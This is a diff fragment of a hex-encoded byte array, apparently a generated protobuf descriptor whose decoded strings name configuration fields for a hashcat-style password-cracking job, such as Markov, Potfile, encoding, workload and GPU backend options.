0x0a, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, - 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x4c, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, - 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x0f, 0x57, - 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x20, - 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x18, 0x4d, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, - 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x18, - 0x4e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, - 0x70, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, - 0x61, 0x64, 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, - 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, - 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x18, 0x50, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, - 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x70, 0x69, 0x6e, - 0x44, 0x61, 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x53, 0x70, 0x69, 0x6e, - 0x44, 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, - 0x61, 0x62, 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x48, 0x77, 0x6d, 0x6f, - 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x77, 0x6d, 0x6f, - 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x53, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, - 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x18, 0x54, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, - 0x12, 0x12, 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x18, 0x55, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, - 0x53, 0x6b, 0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x56, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x65, - 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4b, 0x65, - 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, - 0x69, 0x6c, 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, - 0x46, 0x69, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, - 0x52, 0x75, 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x47, 0x65, 0x6e, - 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, - 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, - 0x6e, 0x18, 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, - 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x12, 0x30, 0x0a, 0x13, + 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, + 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, + 0x61, 0x63, 0x6b, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, + 0x61, 0x63, 0x6b, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, + 0x74, 0x61, 0x74, 0x32, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, + 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, + 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, + 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, + 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, + 0x61, 0x73, 0x73, 0x69, 0x63, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, + 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, 0x15, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, + 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4d, + 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x16, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, + 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, + 0x18, 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x12, + 0x18, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x73, + 0x74, 0x6f, 0x72, 0x65, 0x18, 0x19, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, 0x74, + 0x6f, 0x72, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, + 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, 0x73, + 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, + 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, 0x0a, + 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x1d, + 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, + 0x61, 0x74, 0x52, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, + 0x74, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, + 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, + 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, + 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, + 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x36, 0x0a, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, + 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, + 0x20, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, + 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, + 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, + 0x74, 0x64, 0x6f, 0x75, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x64, + 0x6f, 0x75, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x12, 0x12, 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x18, + 0x24, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x25, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, + 0x65, 0x18, 0x26, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, + 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x27, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, + 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, + 0x62, 0x6c, 0x65, 0x18, 0x28, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, + 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, 0x74, + 0x66, 0x69, 0x6c, 0x65, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, 0x66, + 0x69, 0x6c, 0x65, 0x12, 0x3b, 0x0a, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, + 0x72, 0x6f, 0x6d, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, + 0x6e, 0x67, 0x52, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, + 0x12, 0x37, 0x0a, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, 0x2b, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, + 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x2c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, 0x65, + 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, + 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, + 0x2c, 0x0a, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, + 0x50, 0x61, 0x69, 0x72, 0x18, 0x31, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61, + 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, 0x0a, + 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x32, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, 0x6f, + 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, + 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, + 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, 0x6e, + 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x38, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, 0x65, + 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, + 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x18, 0x39, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x42, + 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, + 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, + 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, 0x6f, + 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, 0x0a, + 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x12, + 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, 0x0a, + 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, 0x43, + 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, 0x0d, + 0x52, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, + 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, + 0x1a, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, 0x42, + 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, + 0x18, 0x43, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, + 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, 0x63, + 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, + 0x72, 0x65, 0x48, 0x69, 0x70, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, + 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, + 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, + 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, + 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, + 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x47, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x61, + 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, 0x63, + 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, 0x28, + 0x0d, 0x52, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, + 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, + 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x18, 0x49, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x70, + 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x12, + 0x34, 0x0a, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, + 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, + 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, + 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x34, 0x0a, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, + 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x4b, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, + 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x48, 0x0a, 0x0f, 0x57, + 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x4c, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, + 0x66, 0x69, 0x6c, 0x65, 0x52, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, + 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, + 0x63, 0x63, 0x65, 0x6c, 0x18, 0x4d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, + 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, + 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x18, 0x4e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, + 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, 0x72, + 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, + 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, + 0x57, 0x69, 0x64, 0x74, 0x68, 0x18, 0x50, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, 0x63, + 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x12, + 0x1a, 0x0a, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x48, + 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, + 0x26, 0x0a, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, + 